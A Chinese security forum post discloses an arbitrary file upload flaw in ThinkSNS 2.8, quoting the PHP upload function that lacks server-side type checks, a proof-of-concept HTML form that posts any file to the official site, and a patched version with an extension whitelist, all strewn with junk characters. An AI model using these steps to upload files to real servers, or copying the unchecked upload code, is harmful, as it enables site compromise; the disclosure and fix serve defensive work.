找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2443|回复: 0
打印 上一主题 下一主题

ThinkSNS 2.8任意文件上传漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:12:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。' f. o* ^/ c/ n: Y5 Q  f5 l3 C

4 B( y% l0 c5 g/ @* u
. W7 X- L# Z* |2 S9 n3 W\api\StatusesApi.class.php
8 e# o9 b+ C2 |  z
# p  ?* H5 X# b  pfunction uploadpic(){$ [) ]" |9 F4 D; u3 v5 _
      if( $_FILES['pic'] ){3 I* o9 x( k" a- Q
     //执行上传操作
% Z  Z" m6 a7 c6 X     $savePath =  $this->_getSaveTempPath();
' Y# x6 c7 w% g! Y3 C3 u     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
! |0 ]9 q3 j( F9 l: w! W    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))1 E/ H. [5 [( }& n" C
       {4 t/ K* }8 C4 a' D# s# p4 d/ ]
        $result['boolen']    = 1;9 O& s4 Q3 H4 @/ A( E
        $result['type_data'] = 'temp/'.$filename;, u' q& H# A- {2 k
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
. [  u. I8 d0 a8 f/ X% L       } else {
; K% ]4 p2 ^1 v6 ^9 j" k        $result['boolen']    = 0;
% i2 w$ v% p# ?) _1 Q        $result['message']   = '上传失败';* q7 p4 I7 l& O/ W4 b
       }
* M" a3 p* G1 ^9 W. d  L+ J     }else{
7 P2 d' {% Y3 ^1 m9 d  a- V         $result['boolen']    = 0;5 b& k9 x- Z+ m) S$ ~$ n$ `+ X
         $result['message']   = '上传失败';' h# s, v, d  b0 H0 D% |
     }
! [8 d, Y* C/ C. _return $result;
/ Q- S  L+ _) c5 q/ g    }
  [) {- {5 o1 m0 s4 s: D& p/ tunloadpic()方法没有对文件类型进行验证
' I, A5 p3 t* ~/ i 8 ~& E5 }) Q! Q" C- m; f2 c. ^
可以构建表单, 选择任意文件, 提交到
0 T1 S; U4 _& l/index.php?app=w3g&mod=Index&act=doPost2 `" y) w/ {/ V- w$ f6 D
7 b% [9 ~: R; p& S1 f% B
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)" q! C) C  {- `3 C$ i5 a

/ Z/ Y6 j) K* ]1 L% Z$ y3 f. d) S9 Q: n5 T# D
在登录thinksns官方微博后,
' Q' O" }8 H/ e5 X; U构建以下表单:7 N, |5 f* N! u2 ?7 P
: p0 G+ C% K& K* b
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />1 ]5 S; M# D. B9 \5 ~9 R, [
<textarea name="content">test</textarea>
$ B7 o* p% H1 x6 W/ Kfile: <input id="file" type="file" name="pic" />
! L" _2 r: \+ q) S, u% U6 y<input type="submit" value="Post" />3 E; {1 n2 A* [9 ?3 {- @4 C
</form>- H9 O  `. i2 o( a$ M
去掉缩略图的前缀(small_ )
  Z# B9 r! F* s6 {, e" j3 y​修复方案:
0 T( F% e) B& W
& ]0 e0 I1 a- t6 C5 T9 Z; A! a
\api\StatusesApi.class.php
+ {4 A4 @. T& y2 O 0 k. H) O, X. l( t
function uploadpic(){. w, y& L' }* ?
     /**
# C3 a! l) O4 Z& ?; }9 g4 L      * 20121018 @yelo+ [( h- ?& N( ^) k5 B' i
      * 增加上传类型验证
3 f9 T& E- M8 s4 C/ o  m' L      */
/ G/ a3 [4 z3 ?     $pathinfo = pathinfo($_FILES['pic']['name']);. R* d3 m- h( M1 z9 r( A
     $ext = $pathinfo['extension'];! Z) L- V( m$ G4 g) j
$allowExts = array('jpg', 'png', 'gif', 'jpeg');) z6 g: R, {8 \' |* v( e3 z

% L$ S8 G& w2 _3 \5 {     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
" j7 ]% P) ^) a - w6 H( S! i& t' _
     if( $uploadCondition ){+ w* R& }. K2 t2 ^
     //执行上传操作/ h* y/ i1 M8 _* G+ U2 h/ s
     $savePath =  $this->_getSaveTempPath();
' c3 p$ c6 C  \. a1 U& j     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);) h0 Z& k# ^( a" V  X/ ]8 Q, p
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))8 p, V0 ^% c4 D. x& [7 K5 x+ V( x
       {
! ]0 y$ A" W" O- n        $result['boolen']    = 1;
4 u0 M3 ]# F1 ?$ O( V6 H: B7 u        $result['type_data'] = 'temp/'.$filename;
9 V* r6 P9 `9 q+ S. c        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
7 d% A( o3 G, L       } else {
  ?8 V# t2 C& G7 ^: [. Y        $result['boolen']    = 0;
! ]9 ~, ?  M! ?& H- W0 u: i        $result['message']   = '上传失败';1 f4 d: M" o! q2 N4 M8 B
       }% b# ]7 j; Z/ q7 _+ k' ]7 r% z
     }else{
; O8 P$ S: l8 Q" `0 p3 v. c# r         $result['boolen']    = 0;
3 M3 p3 L/ ?0 i5 N; a0 k$ O         $result['message']   = '上传失败';
) u! c9 |: O& O     }$ }- c% h( J  O# K
return $result;1 h, i3 S) s& H7 D* |
    }
& {! u$ q  ]: H( @3 l" G  j​8 P. O" s9 J( F+ ^
8 i) f# j4 ~: j9 G4 Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表